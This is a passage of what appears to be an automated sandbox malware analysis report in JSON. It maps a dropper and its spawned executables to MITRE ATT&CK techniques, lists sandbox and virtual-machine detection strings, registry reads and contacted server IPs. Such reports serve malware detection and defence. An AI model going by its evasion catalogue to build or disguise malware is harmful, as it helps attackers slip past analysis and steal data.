Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"FindResourceW\" with parameter \"1\" - (UID: 00000000-00000560)\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"FindResourceW\" with parameter \"42\" - (UID: 00000000-00000560)\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"FindResourceW\" with parameter \"88930116\" - (UID: 00000000-00000560)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount64\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"ffa05200d7a741017eb476eef981b041.exe\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibraryWhenCallbackReturns\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00000560.00000000.263215.00960000.00000004.mdmp, 00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00000560.00000000.263215.00960000.00000004.mdmp, 00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000516-00000CBB-3235189439\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000516.00000000.270346.00DE0000.00000004.mdmp, 00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")\n Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00000516.00000000.270346.00DE0000.00000004.mdmp, 00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")\n Found reference to \"SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"skotes.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00000516.00000000.270346.00DE0000.00000004.mdmp, 00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$29","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.885396313818042","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Contacts server\n Matched sigs: Spawned process connects to a network","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; File: \"00000000-00000516.00000001.270435.00750000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; File: \"00000000-00000516.00000001.270435.00750000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00000516.00000000.270346.00750000.00000004.mdmp, 00000000-00000516.00000001.270435.00750000.00000004.mdmp\")\n Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00000560.00000000.263215.00280000.00000004.mdmp\")\n Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00002756.00000000.264161.00220000.00000004.mdmp, 00000000-00002756.00000001.266081.00220000.00000004.mdmp, 00000000-00002756.00000002.268004.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000560-00000C29-3119474495\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment","description":"Found string \"\\SystemRoot\\system32\\DRIVERS\\vmci.sys\" (Indicator: \"\\vmci\"; Source: \"00000000-00000560.00000000.263215.00280000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\DRIVERS\\vmmouse.sys\" (Indicator: \"vmmouse\"; Source: \"00000000-00000560.00000000.263215.00280000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\DRIVERS\\vmusbmouse.sys\" (Indicator: \"vmusb\"; Source: \"00000000-00000560.00000000.263215.00280000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\DRIVERS\\vmmemctl.sys\" (Indicator: \"vmmemctl\"; Source: \"00000000-00000560.00000000.263215.00280000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\DRIVERS\\vmci.sys\" (Indicator: \"\\vmci\"; Source: \"00000000-00002756.00000000.264161.00220000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\DRIVERS\\vmmouse.sys\" (Indicator: \"vmmouse\"; Source: \"00000000-00002756.00000000.264161.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-660","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual/sandbox environment devices","description":"Found string \"\\SystemRoot\\system32\\DRIVERS\\vmci.sys\" (Indicator: \"\\vmci\"; Source: \"00000000-00000560.00000000.263215.00280000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\DRIVERS\\vmci.sys\" (Indicator: \"\\vmci\"; Source: \"00000000-00002756.00000000.264161.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-667","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"GetForegroundWindow\" (UID: 00000000-00000560)\n \"skotes.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002756)\n \"5b5767e85f.exe\" called \"GetForegroundWindow\" (UID: 00000000-00000516)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"IsWow64Process\" with parameter \"560\" - (UID: 00000000-00000560)\n \"skotes.exe\" called \"IsWow64Process\" with parameter \"2756\" - (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"GetWindowTextA\" (UID: 00000000-00000560)\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"GetWindowTextW\" (UID: 00000000-00000560)\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"GetWindowTextW\" with parameter \"Pause\" - (UID: 00000000-00000560)\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"GetWindowTextW\" with parameter \"Cancel\" - (UID: 00000000-00000560)\n \"skotes.exe\" called \"GetWindowTextA\" (UID: 00000000-00002756)\n \"5b5767e85f.exe\" called \"GetWindowTextA\" with parameter \"Task Switching\" - (UID: 00000000-00000516)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000560)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00000560)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00000560)\n \"skotes.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00000560)\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00000560)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"skotes.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"skotes.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"15487559328,2332,105,,GetForegroundWindow,user32x\" (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00000560.00000001.263902.009EB000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"skotes.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\abc3bc1985\\skotes.exe\" at 00000000-00002756-00000046-4059093\n \"skotes.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\1085426001\\5b5767e85f.exe\" at 00000000-00002756-00000046-92472395\n \"skotes.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\1085426001\\5b5767e85f.exe\" at 00000000-00002756-00000046-92475475","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"skotes.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"skotes.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\FFA05200D7A741017EB476EEF981B041.EXE\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\FFA05200D7A741017EB476EEF981B041.EXE\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SKOTES.EXE\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SKOTES.EXE\")\n \"skotes.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\5B5767E85F.EXE\")\n \"skotes.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\5B5767E85F.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$2f","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\abc3bc1985\\skotes.exe\"\" - (UID: 00000000-00000560)\n \"skotes.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\1085426001\\5b5767e85f.exe\"\" - (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$31","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.215.113.43:80\"\n \"185.215.113.75:80\"\n \"172.67.128.147:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$32","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"36333248338,3308,3182,,ShellExecuteA,Shell32.dll,\"253:26:35.089\",RX=0,PX=0\" (Indicator: \"ShellExecute\"; Source: 